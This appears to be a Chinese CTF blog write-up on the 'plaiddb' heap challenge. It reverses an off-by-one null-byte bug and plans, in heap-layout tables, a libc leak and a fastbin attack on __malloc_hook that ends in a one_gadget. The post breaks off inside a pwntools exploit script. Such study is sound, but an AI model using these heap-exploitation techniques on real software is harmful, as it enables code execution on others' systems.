<li>当前 bin 中的最后一个 chunk 满足要求，获取该 chunk 的大小，计算切分出所需 chunk<br>后剩余部分的大小，然后将 victim 从 bin 的链表中取出。 <ul>
<li>如果剩余部分的大小小于 MINSIZE，将整个 chunk 分配给应用层，设置 victim 的状态为inuse，如果当前分配区为非主分配区，设置 victim 的非主分配区标志位。 <strong>（这里就是我们0x320的chunk最终被返回的原因）</strong></li>
<li>否则从 victim 中切分出所需的 chunk，剩余部分作为一个新的 chunk 加入到 unsorted bin 中。如果剩余部分 chunk 属于 small bins，将分配区的 last remainder chunk 设置为剩余部分构成的 chunk； 如果剩余部分 chunk 属于 large bins，将剩余部分 chunk 的 chunk size 链表指针设置为 NULL，因为 unsorted bin 中的 chunk 是不排序的，这两个指针无用，必须清零<ul>
<li>接着设置 victim 和 remainder 的状态，由于 remainder 为空闲 chunk，所以需要设置该 chunk<br>的 foot。 </li>
</ul>
</li>
</ul>
</li>
</ul>
<p>如果以上的分配都没有成功最后就会去寻找top_chunk</p>
<p>这里找到一个ptmalloc简单点的总结：</p>
<ol>
<li>在fastbin中寻找有没有对应的chunk</li>
<li>请求大小为small bin范围，在small bin中寻找有没有对应的chunk</li>
<li>请求大小为large bin范围，仅调用malloc_consolidate合并fastbin</li>
<li>在unsorted bin中寻找有没有合适的chunk</li>
<li>在large bin中寻找有没有合适的chunk</li>
<li>寻找较大的bin链中有没有合适的chunk</li>
<li>寻找top_chunk</li>
<li>top_chunk不够用，调用malloc_consolidate合并fastbin</li>
<li>top_chunk不够用，系统调用再次申请内存</li>
</ol>
<p>原文链接：<a href="https://zhuanlan.zhihu.com/p/77316206" target="_blank" rel="noopener">https://zhuanlan.zhihu.com/p/77316206</a></p>
<h1 id="plaiddb"><a href="#plaiddb" class="headerlink" title="plaiddb"></a>plaiddb</h1><h2 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h2><p>打开IDA茫茫一片23333，然后自己先去把这个程序跑了一下，了解了一下大致的功能，看能不能先理出一点逆向思路来</p>
<img src="/2020/02/10/how2heap-poison-null-byte-plaiddb/1581227038307.png" width="55%" height="55%">

<p>暂时理解的大概意思就是：GET是获取一个row的内容，PUT是放入一个新的row，DUMP是打印rows的信息，DEL是删除一个row，EXIT就是退出了。</p>
<p>接下来再来分析代码</p>
<img src="/2020/02/10/how2heap-poison-null-byte-plaiddb/1581227277632.png" width="70%" height="70%">

<p>因为这个函数里面的运算比较多，而且第一次进去也就是做了一些初始化，所以我就先慢慢分析下面的真正菜单</p>
<hr>
<p>Two hours later…..</p>
<hr>
<p>….逆锤子？结果还是要回到sub_CF0??….两百多行的函数配着循环和goto，快把我给逆疯了好嘛….(wtcl…)</p>
<p>我先是逆出了一个结构体的样子（查了wp发现我这个结构体也还稍微有点问题，0x30处的应该是一个leaf or not的flag标识，我刚开始还以为它代表是否为根节点，不过bss段上存的那个变量应该是根节点指针）：</p>
<p><img src="/2020/02/10/how2heap-poison-null-byte-plaiddb/1581237156090.png" alt="1581237156090"></p>
<p>是的，我是在里面一次次调试尝试加上静态分析之后才发现这个数据库是用树形结构来实现的，限于数据结构的水平和逆向的代码量….我没有逆出来具体是哪种树，发现是树形结构之后为了不太浪费时间就放弃了逆向…转而查了WP（pwn这边果然是任重而道远啊）</p>
<h3 id="PUT"><a href="#PUT" class="headerlink" title="PUT"></a>PUT</h3><img src="/2020/02/10/how2heap-poison-null-byte-plaiddb/1581257799309.png" width="70%" height="70%">

<ul>
<li>先申请一个0x40的chunk作为结点</li>
<li>在Enter里面申请一个0x20的chunk存储这个结点的row key</li>
<li>然后再申请一个我们可以控制大小的chunk来存储data<ul>
<li>如果申请失败就free掉前两个chunk</li>
</ul>
</li>
<li>data chunk申请成功，通过freadn来输入data，并尝试将这个结点加入red-black tree</li>
<li>如果加入失败说明之前有相同的row key，树操作会返回相同row key结点的指针成功则返回0<ul>
<li>失败：先free掉<strong>前面的row key chunk</strong>和<strong>已有结点的data chunk</strong>，接着更新<strong>已有结点的data size和data chunk</strong>指针，然后free掉<strong>前面的申请的结点chunk</strong></li>
</ul>
</li>
</ul>
<h3 id="DUMP"><a href="#DUMP" class="headerlink" title="DUMP"></a>DUMP</h3><img src="/2020/02/10/how2heap-poison-null-byte-plaiddb/1581258154196.png" width="80%" height="80%">

<ul>
<li>根据某种遍历方式，打印出所有结点的row key还有对应的data size（这里IDA打印函数的参数识别稍微有点问题）</li>
</ul>
<h3 id="GET"><a href="#GET" class="headerlink" title="GET"></a>GET</h3><img src="/2020/02/10/how2heap-poison-null-byte-plaiddb/1581258239453.png" width="80%" height="80%">

<ul>
<li>Enter时申请一个row key chunk，然后通过对比找到相应结点</li>
<li>打印相应结点的data chunk内容</li>
<li>free掉前面Enter的row key chunk</li>
</ul>
<h3 id="DEL"><a href="#DEL" class="headerlink" title="DEL"></a>DEL</h3><p>茫茫一片的树操作，不过关注点只需要放在chunk的操作上即可</p>
<img src="/2020/02/10/how2heap-poison-null-byte-plaiddb/1581258527364.png" width="60%" height="60%">

<p><img src="/2020/02/10/how2heap-poison-null-byte-plaiddb/1581258539173.png" alt="1581258539173"></p>
<ul>
<li>Enter一个row key chunk，然后查找对应的结点<ul>
<li>找到了：free对应结点的row key chunk和data chunk然后free结点、free Enter的chunk</li>
<li>没找到：直接退出，没有free Enter的chunk</li>
</ul>
</li>
</ul>
<h3 id="off-by-one"><a href="#off-by-one" class="headerlink" title="off_by_one"></a>off_by_one</h3><p>程序存在一个off_by_one,在<code>Enter</code>函数里面</p>
<img src="/2020/02/10/how2heap-poison-null-byte-plaiddb/1581258784894.png" width="75%" height="75%">

<p>当chunk_ptr_now - chunk_ptr == usable_size时，最后一步操作 <code>*chunk_ptr_now=0</code>会越界赋值0</p>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>程序的流程是终于捋出来了，但是这个利用好想需要想一想，每次都是几个chunk一起操作（特别是PUT的时候），以前做的利用都比较单一，没有这么复杂。</p>
<hr>
<p>回想一下前面的<code>poison_null_byte.c</code></p>
<ul>
<li>free掉两个chunk中间的一个chunk（free之前先设置一个假的prev_size来通过malloc的检查，和之前那篇里面的fake size目的是不一样的，一个是为了通过free的检查一个是为了通过malloc的检查）（free之后第三个chunk的prev_inuse位就为0了）</li>
<li>用第一个chunk的off_by_one来影响第二个chunk的size字段</li>
<li>malloc两个小一点的chunk：b1&amp;b2</li>
<li>free b1之后free第三个chunk，此时第三个chunk和b2 overlap</li>
</ul>
<hr>
<p>那到这个题里面应该怎么利用呢emmm…..把断点下在第一次输入完命令DUMP之后(dump执行完不会影响heap)，调试看一下</p>
<p><img src="/2020/02/10/how2heap-poison-null-byte-plaiddb/1581260525230.png" alt="1581260525230"></p>
<p>此时堆中的chunks就是我们前面初始化的第一个结点还有对应的row key chunk和data chunk</p>
<p>在这些chunk里面，结点chunk还有row key chunk都是指定大小的fastchunk，只有data可以为不同的chunk，然后存在漏洞的<code>Enter</code>函数是只被row key chunk调用的，所以off_by_one只发生在row key chunk生成时后面紧跟着的chunk</p>
<h3 id="各处的malloc（初始化之后的）"><a href="#各处的malloc（初始化之后的）" class="headerlink" title="各处的malloc（初始化之后的）"></a>各处的malloc（初始化之后的）</h3><p>PUT中的chunk申请顺序：结点 -&gt; row key -&gt; data</p>
<p>GET中只申请了一个row key</p>
<p>DEL中也只有一个row key</p>
<h3 id="各处的free"><a href="#各处的free" class="headerlink" title="各处的free"></a>各处的free</h3><p>PUT中：</p>
<ul>
<li>data申请失败会free掉PUT函数中申请的row key chunk和结点chunk</li>
<li>输入的row key已存在时会free PUT函数中申请的row key chunk和已有结点的data chunk，还有前面的结点chunk</li>
</ul>
<p>GET中无论如何都会free用来查找的row key chunk</p>
<p>DEL中：</p>
<ul>
<li>找到了：free对应结点的row key chunk、data chunk然后free结点、free Enter的chunk</li>
<li>没找到：直接退出，没有free Enter的chunk</li>
</ul>
<hr>
<h3 id="第一思路："><a href="#第一思路：" class="headerlink" title="第一思路："></a>第一思路：</h3><p>在初始化的基础上，再申请两个节点，此时堆中就会有以下结构</p>
<table>
<thead>
<tr>
<th>0x40</th>
<th>0x20</th>
<th>0x20</th>
<th>0x40</th>
<th>0x20</th>
<th>0x???</th>
<th>0x40</th>
<th>0x20</th>
<th>0x???</th>
<th>0x??????</th>
</tr>
</thead>
<tbody><tr>
<td>结点1</td>
<td>row key1</td>
<td>data1</td>
<td>结点2</td>
<td>row key2</td>
<td>data2</td>
<td>结点3</td>
<td>row key3</td>
<td>data3</td>
<td>top_chunk</td>
</tr>
</tbody></table>
<p>接着删除第二个结点</p>
<table>
<thead>
<tr>
<th>0x40</th>
<th>0x20</th>
<th>0x20</th>
<th>0x40</th>
<th>0x20</th>
<th>0x???</th>
<th>0x40</th>
<th>0x20</th>
<th>0x???</th>
<th>0x20</th>
<th>0x??????</th>
</tr>
</thead>
<tbody><tr>
<td>结点1</td>
<td>row key1</td>
<td>data1</td>
<td>结点2</td>
<td>row key2</td>
<td>data2</td>
<td>结点3</td>
<td>row key3</td>
<td>data3</td>
<td>row key4</td>
<td>top_chunk</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>fastbin</td>
<td>fastbin</td>
<td>?bin</td>
<td></td>
<td></td>
<td></td>
<td>fastbin</td>
<td></td>
</tr>
</tbody></table>
<p>此时0x20的fastbin中是row key4-&gt;row key2</p>
<p>然后通过DEL中没有free Enter chunk，申请两次，从而第二次可以在row key2处对data2造成off_by_one（既然能off_by_one，data2就肯定不是fastchunk了）</p>
<p>但是还有一点，off_by_one发生之后，如果我们的目的是用例子的那种overlap，这是结点3是一个fastchunk，free的时候并不会向前合并，所以这个思路显然不行</p>
<p>ps：然而当我写完后面的再回来看的时候，这里又是我立的一个flag，或者说我当时写到这里的时候还对构造不太熟悉，如果把两个data chunk构造在一起好像也不是不行（只要删掉前面一个结点，就会在fastbin中腾出位置来，再申请一个有大于之前data块的结点就可以了），主要是写后面的构造方法写着写着就忘了前面这个我想到的用DEL填充来off_by_one然后合并前面的chunk的方法，如果用这种方式来构造的话可以这样构造：</p>
<table>
<thead>
<tr>
<th>0x40</th>
<th>0x20</th>
<th>0x20</th>
<th>0x40</th>
<th>0x20</th>
<th>0xd0</th>
<th>0x40</th>
<th>0x20</th>
<th>0x70</th>
<th>0x40</th>
<th>0x20</th>
<th>0x100</th>
<th>0x40</th>
<th>0x20</th>
<th>0x40</th>
<th></th>
</tr>
</thead>
<tbody><tr>
<td>结点1</td>
<td>rowkey1</td>
<td>data1</td>
<td>结点2</td>
<td>rowkey2</td>
<td>data2</td>
<td>结点3</td>
<td>rowkey3</td>
<td>data3</td>
<td></td>
<td></td>
<td>data5</td>
<td>结点5</td>
<td>rowkey5</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>fastbin2</td>
<td>fastbin1</td>
<td></td>
<td></td>
<td></td>
<td>fastbin2</td>
<td></td>
</tr>
</tbody></table>
<hr>
<h3 id="第二思路："><a href="#第二思路：" class="headerlink" title="第二思路："></a>第二思路：</h3><table>
<thead>
<tr>
<th>0x40</th>
<th>0x20</th>
<th>0x20</th>
<th>0x40</th>
<th>0x20</th>
<th>0x???</th>
<th>0x40</th>
<th>0x20</th>
<th>0x???</th>
<th>0x??????</th>
</tr>
</thead>
<tbody><tr>
<td>结点1</td>
<td>row key1</td>
<td>data1</td>
<td>结点2</td>
<td>row key2</td>
<td>data2</td>
<td>结点3</td>
<td>row key3</td>
<td>data3</td>
<td>top_chunk</td>
</tr>
</tbody></table>
<p>还是先产生这样的结构，不过此时row key3是和row key2一样的，主要是想让结点2中的data2改到data3去，然后就会变成这样</p>
<table>
<thead>
<tr>
<th>0x40</th>
<th>0x20</th>
<th>0x20</th>
<th>0x40</th>
<th>0x20</th>
<th>0x???</th>
<th>0x40</th>
<th>0x20</th>
<th>0x???</th>
<th>0x??????</th>
</tr>
</thead>
<tbody><tr>
<td>结点1</td>
<td>row key1</td>
<td>data1</td>
<td>结点2</td>
<td>row key2</td>
<td>data2_old</td>
<td>结点3</td>
<td>row key3</td>
<td>data2_n</td>
<td>top_chunk</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>?bin</td>
<td>fastbin</td>
<td>fastbin</td>
<td></td>
<td></td>
</tr>
</tbody></table>
<p>然后接着构造（data3要大过data2_old）</p>
<table>
<thead>
<tr>
<th align="left">0x40</th>
<th>0x20</th>
<th>0x20</th>
<th>0x40</th>
<th>0x20</th>
<th>0x???</th>
<th>0x40</th>
<th>0x20</th>
<th>0x?00</th>
<th>0x???</th>
<th>0x??????</th>
</tr>
</thead>
<tbody><tr>
<td align="left">结点1</td>
<td>rowkey1</td>
<td>data1</td>
<td>结点2</td>
<td>rowkey2</td>
<td>data2_old</td>
<td>结点3</td>
<td>rowkey3</td>
<td>data2_n</td>
<td>data3</td>
<td>top_chunk</td>
</tr>
<tr>
<td align="left"></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>?bin</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody></table>
<p>申请新的结点3，并在此时对data2_n构成off_by_one并写好prev_size</p>
<p>这里之后我去参考了一些wp，发现大家都是用的结构体前面两个成员，row key ptr还有data size进行的leak，而且对应的指针是unsortedbin指针，因为unsortedbin指针的偏移会指向top_chunk，使用这种泄露方式可以同时泄露出libc_base和heap_base，再就是how2heap中这个off_by_one是用来malloc的时候不改变下个chunk的prev_size，但是这个题用off_by_one来free合并前面的chunk似乎更简单一点</p>
<p>接着构造Double free，但是如果想要修改malloc hook之类的地方，我发现我不仅需要一个0x70的fastchunk（参考之前写的babyheap），还需要一个smallbin合并时用来unlink，所以得回去再重新加上（当然此时的chunk链结构就又发生了变化，保证data2_n被free时能合并前面的chunk，而且0x70chunk必须在这个smallbin之后）</p>
<p>计算size并更改之后：</p>
<table>
<thead>
<tr>
<th>0x40</th>
<th>0x20</th>
<th>0x20</th>
<th>0x40</th>
<th>0x20</th>
<th>0x90</th>
</tr>
</thead>
<tbody><tr>
<td>结点1</td>
<td>rowkey1</td>
<td></td>
<td></td>
<td></td>
<td>data1_n</td>
</tr>
<tr>
<td></td>
<td></td>
<td>fastbin</td>
<td>fastbin</td>
<td>fastbin</td>
<td></td>
</tr>
</tbody></table>
<p>然后一步步构造之前构造过的</p>
<table>
<thead>
<tr>
<th>0x40</th>
<th>0x20</th>
<th>0x20</th>
<th>0x40</th>
<th>0x20</th>
<th>0x90</th>
<th>0x40</th>
</tr>
</thead>
<tbody><tr>
<td>结点1</td>
<td>rowkey1</td>
<td>rowkey2</td>
<td>结点2</td>
<td></td>
<td>data1_n</td>
<td>data2</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>fastbin</td>
<td></td>
<td></td>
</tr>
</tbody></table>
<p>然后把data2后面造成一个结点为了0x90+0x40的chunk被分割之后直接DUMP leak</p>
<table>
<thead>
<tr>
<th>0x40</th>
<th>0x20</th>
<th>0x20</th>
<th>0x40</th>
<th>0x20</th>
<th>0x90</th>
<th>0x40</th>
<th>0x40</th>
<th>0x70</th>
<th>…</th>
</tr>
</thead>
<tbody><tr>
<td>结点1</td>
<td>rowkey1</td>
<td>rowkey2</td>
<td>结点2</td>
<td></td>
<td>data1_n</td>
<td>data2</td>
<td></td>
<td>data2_n</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>fastbin</td>
<td></td>
<td>fastbin</td>
<td>fastbin</td>
<td></td>
<td></td>
</tr>
</tbody></table>
<table>
<thead>
<tr>
<th>0x40</th>
<th>0x20</th>
<th>0x20</th>
<th>0x40</th>
<th>0x20</th>
<th>0x90</th>
<th>0x40</th>
<th>0x40</th>
<th>0x70</th>
<th></th>
<th></th>
<th></th>
<th>…</th>
</tr>
</thead>
<tbody><tr>
<td>结点1</td>
<td>rowkey1</td>
<td>rowkey2</td>
<td>结点2</td>
<td>rowkey3</td>
<td>data1_n</td>
<td>data3</td>
<td>结点3</td>
<td>data2_n</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody></table>
<p>开始构造off_by_one</p>
<table>
<thead>
<tr>
<th>0x40</th>
<th>0x20</th>
<th>0x20</th>
<th>0x40</th>
<th>0x20</th>
<th>0x90</th>
<th>0x40</th>
<th>0x40</th>
<th>0x70</th>
<th>0x40</th>
<th>0x20</th>
<th>0x60</th>
<th>…</th>
</tr>
</thead>
<tbody><tr>
<td>结点1</td>
<td>rowkey1</td>
<td>rowkey2</td>
<td>结点2</td>
<td>rowkey3</td>
<td>data1_n</td>
<td>data3</td>
<td>结点3</td>
<td></td>
<td></td>
<td></td>
<td>data2_nn</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>fastbin</td>
<td>fastbin</td>
<td>fastbin</td>
<td></td>
<td></td>
</tr>
</tbody></table>
<table>
<thead>
<tr>
<th>0x40</th>
<th>0x20</th>
<th>0x20</th>
<th>0x40</th>
<th>0x20</th>
<th>0x90</th>
<th>0x40</th>
<th>0x40</th>
<th>0x70</th>
<th>0x40</th>
<th>0x20</th>
<th>0x60</th>
<th>0x60</th>
</tr>
</thead>
<tbody><tr>
<td>结点1</td>
<td>rowkey1</td>
<td>rowkey2</td>
<td>结点2</td>
<td>rowkey3</td>
<td>data1_n</td>
<td>data3</td>
<td>结点3</td>
<td></td>
<td>结点4</td>
<td>rowkey4</td>
<td>data2_nn</td>
<td>data4</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>fastbin</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody></table>
<table>
<thead>
<tr>
<th>0x40</th>
<th>0x20</th>
<th>0x20</th>
<th>0x40</th>
<th>0x20</th>
<th>0x90</th>
<th>0x40</th>
<th>0x40</th>
<th>0x70</th>
<th>0x40</th>
<th>0x20</th>
<th>0x60</th>
<th>0x60</th>
<th>0x40</th>
<th>0x20</th>
<th>0x110</th>
</tr>
</thead>
<tbody><tr>
<td>结点1</td>
<td>rowkey1</td>
<td>rowkey2</td>
<td>结点2</td>
<td>rowkey3</td>
<td>data1_n</td>
<td>data3</td>
<td>结点3</td>
<td></td>
<td>结点4</td>
<td>rowkey4</td>
<td>data2_nn</td>
<td></td>
<td></td>
<td></td>
<td>data4_n</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>fastbin</td>
<td></td>
<td></td>
<td></td>
<td>fastbin</td>
<td>fastbin</td>
<td>fastbin</td>
<td></td>
</tr>
</tbody></table>
<p>终于具备漏洞利用的条件了</p>
<p>再添加一个结点5trigger off_by_one</p>
<table>
<thead>
<tr>
<th>0x40</th>
<th>0x20</th>
<th>0x20</th>
<th>0x40</th>
<th>0x20</th>
<th>0x90</th>
<th>0x40</th>
<th>0x40</th>
<th>0x70</th>
<th>0x40</th>
<th>0x20</th>
<th>0x60</th>
<th>0x60</th>
<th>0x40</th>
<th>0x20</th>
<th>0x110</th>
</tr>
</thead>
<tbody><tr>
<td>结点1</td>
<td>rowkey1</td>
<td>rowkey2</td>
<td>结点2</td>
<td>rowkey3</td>
<td>data1_n</td>
<td>data3</td>
<td>结点3</td>
<td></td>
<td>结点4</td>
<td>rowkey4</td>
<td>data2_nn</td>
<td>data5</td>
<td>结点5</td>
<td>rowkey5</td>
<td>data4_n</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>fastbin</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody></table>
<p>删掉结点2、1、4(这里我调试之后回来2删了，否则后面树操作好像会出错，&gt;&gt;&gt;…&lt;&lt;&lt;中间的是unsorted chunk)</p>
<table>
<thead>
<tr>
<th>0x40</th>
<th>0x20</th>
<th>0x20</th>
<th>0x40</th>
<th>0x20</th>
<th>0x90</th>
<th>0x40</th>
<th>0x40</th>
<th>0x70</th>
<th>0x40</th>
<th>0x20</th>
<th>0x60</th>
<th>0x60</th>
<th>0x40</th>
<th>0x20</th>
<th>0x110</th>
<th>0x20</th>
</tr>
</thead>
<tbody><tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>rowkey3</td>
<td></td>
<td>data3</td>
<td>结点3</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>data5</td>
<td>结点5</td>
<td>rowkey5</td>
<td>data4_n</td>
<td></td>
</tr>
<tr>
<td>fastbin</td>
<td>fastbin</td>
<td>fastbin</td>
<td>fastbin</td>
<td></td>
<td>&gt;&gt;&gt;</td>
<td></td>
<td></td>
<td>fastbin</td>
<td>fastbin</td>
<td>fastbin</td>
<td>fastbin</td>
<td></td>
<td></td>
<td>&lt;&lt;&lt;</td>
<td></td>
<td>fastbin</td>
</tr>
</tbody></table>
<p>然后申请一个data为0xD0的块a，但是由于我申请的大小太玄学了…top_chunk结尾刚好是\x00，打印会失败，所以我又更改了data5的大小，然后就可以成功leak了，此时的堆应该是这样（这里我把同大小的fastchunk在fastbin链表上的位置通过调试标出来了最先被malloc出去的数字最大，方便后面的制表）：</p>
<table>
<thead>
<tr>
<th>0x40</th>
<th>0x20</th>
<th>0x20</th>
<th>0x40</th>
<th>0x20</th>
<th>0x90</th>
<th>0x40</th>
<th>0x40</th>
<th>0x70</th>
<th>0x40</th>
<th>0x20</th>
<th>0x60</th>
<th>0x60</th>
<th>0x40</th>
<th>0x20</th>
<th>0x110</th>
<th>0x20</th>
<th>0x110</th>
</tr>
</thead>
<tbody><tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>rowkey3</td>
<td>(a data)</td>
<td>data3(a data)</td>
<td>结点3</td>
<td></td>
<td>结点a</td>
<td></td>
<td></td>
<td></td>
<td>结点5</td>
<td>rowkey5</td>
<td>data4_n</td>
<td>rowkey a</td>
<td>data5_n</td>
</tr>
<tr>
<td>fastbin2</td>
<td>fastbin2</td>
<td>fastbin1</td>
<td>fastbin1</td>
<td></td>
<td></td>
<td></td>
<td>&gt;&gt;&gt;</td>
<td>fastbin1</td>
<td></td>
<td>fastbin3</td>
<td>fastbin2</td>
<td>fastbin1</td>
<td></td>
<td>&lt;&lt;&lt;</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody></table>
<p>leak之后我们再申请一个data size为0xB0的chunk b，就刚好把接下来0x70和0x40这个chunk重复利用了，而0x70这个chunk在fastbin里面，只要把他的fd改到__malloc_hook上方即可(具体位置见之前写的的babyheap)</p>
<p>不过至于具体的data填充操作我调试了很久很久，稍不注意就会在各种地方出错，建议直接把内存全部打印出来然后照着上面的填进去，这样比较好</p>
<table>
<thead>
<tr>
<th>0x40</th>
<th>0x20</th>
<th>0x20</th>
<th>0x40</th>
<th>0x20</th>
<th>0x90</th>
<th>0x40</th>
<th>0x40</th>
<th>0x70</th>
<th>0x40</th>
<th>0x20</th>
<th>0x60</th>
<th>0x60</th>
<th>0x40</th>
<th>0x20</th>
<th>0x110</th>
<th>0x20</th>
<th>0x110</th>
</tr>
</thead>
<tbody><tr>
<td>结点b</td>
<td></td>
<td></td>
<td></td>
<td>rowkey3</td>
<td>(a data)</td>
<td>data3(a data)</td>
<td>结点3(data b)</td>
<td>(data b)</td>
<td>结点a</td>
<td>rowkeyb</td>
<td></td>
<td></td>
<td>结点5</td>
<td>rowkey5</td>
<td>data4_n</td>
<td>rowkey a</td>
<td>data5_n</td>
</tr>
<tr>
<td></td>
<td>fastbin2</td>
<td>fastbin1</td>
<td>fastbin1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>fastbin1</td>
<td>&gt;&gt;&gt;</td>
<td></td>
<td>fastbin2</td>
<td>fastbin1</td>
<td></td>
<td>&lt;&lt;&lt;</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody></table>
<p>然后我们在申请一个没有意义的c(data为0x70的fastchunk)，只是为了下一次能把__malloc_hook那块内存给malloc出来</p>
<table>
<thead>
<tr>
<th>0x40</th>
<th>0x20</th>
<th>0x20</th>
<th>0x40</th>
<th>0x20</th>
<th>0x90</th>
<th>0x40</th>
<th>0x40</th>
<th>0x70</th>
<th>0x40</th>
<th>0x20</th>
<th>0x60</th>
<th>0x60</th>
<th>0x40</th>
<th>0x20</th>
<th>0x110</th>
<th>0x20</th>
<th>0x110</th>
</tr>
</thead>
<tbody><tr>
<td>结点b</td>
<td>rowkey c</td>
<td></td>
<td>结点c</td>
<td>rowkey3</td>
<td>(a data)</td>
<td>data3(a data)</td>
<td>结点3(data b)</td>
<td>(data b)(data c)</td>
<td>结点a</td>
<td>rowkeyb</td>
<td></td>
<td></td>
<td>结点5</td>
<td>rowkey5</td>
<td>data4_n</td>
<td>rowkey a</td>
<td>data5_n</td>
</tr>
<tr>
<td></td>
<td></td>
<td>fastbin1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>&gt;&gt;&gt;</td>
<td></td>
<td>fastbin2</td>
<td>fastbin1</td>
<td></td>
<td>&lt;&lt;&lt;</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody></table>
<p>这里好像再进行申请时会出错，我删结点5好像也删不掉(显示notfound，可能是因为a被unsortedbin指针破坏，然后树结构改变了的原因)，本来以为到这里就会嗝屁失败了，但是b被我成功删掉了(这可能就是玄学吧XD，希望以后不要有这种情况)</p>
<p>然后malloc一个0x70的chunk修改__malloc_hook</p>
<p>不过在PUT里面的malloc触发one_gadget死活不成功，本来以为又要嗝屁了55555，结果在我坚持尝试的努力下，在DEL中成功将one_gadget触发成功</p>
<h2 id="完整EXP"><a href="#完整EXP" class="headerlink" title="完整EXP"></a>完整EXP</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'PlaidDB'</span>	<span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary		<span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty)	<span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\0'</span>))</span><br><span class="line">ub_offset = <span class="number">0x3c4b30</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="comment">#log.info("\033[1;36m" + hex(bin_addr) + "\033[0m")</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">GET</span><span class="params">(key)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Enter command:\n'</span>)</span><br><span class="line">	p.sendline(<span class="string">"GET"</span>)</span><br><span class="line">	p.recvline(<span class="string">"PROMPT: Enter row key:"</span>)</span><br><span class="line">	p.sendline(key)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">PUT</span><span class="params">(key, size, data)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Enter command:\n'</span>)</span><br><span class="line">	p.sendline(<span class="string">"PUT"</span>)</span><br><span class="line">	p.recvline(<span class="string">"PROMPT: Enter row key:"</span>)</span><br><span class="line">	p.sendline(key)</span><br><span class="line">	p.recvline(<span class="string">"PROMPT: Enter data size:"</span>)</span><br><span class="line">	p.sendline(str(size))</span><br><span class="line">	p.recvline(<span class="string">"PROMPT: Enter data:"</span>)</span><br><span class="line">	p.send(data)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">DUMP</span><span class="params">()</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Enter command:\n'</span>)</span><br><span class="line">	p.sendline(<span class="string">"DUMP"</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">DEL</span><span class="params">(key)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Enter command:\n'</span>)</span><br><span class="line">	p.sendline(<span class="string">"DEL"</span>)</span><br><span class="line">	p.recvline(<span class="string">"PROMPT: Enter row key:"</span>)</span><br><span class="line">	p.sendline(key)</span><br><span class="line"></span><br><span class="line">PUT(<span class="string">"th3fl4g"</span>, <span class="number">0x88</span>, <span class="string">'\x00'</span>*<span class="number">0x88</span>)</span><br><span class="line">PUT(<span class="string">"2222222"</span>, <span class="number">0x38</span>, <span class="string">'\x00'</span>*<span class="number">0x38</span>)</span><br><span class="line">PUT(<span class="string">"2222222"</span>, <span class="number">0x68</span>, <span class="string">'\x00'</span>*<span class="number">0x68</span>)</span><br><span class="line">PUT(<span class="string">"3333333"</span>, <span class="number">0x38</span>, <span 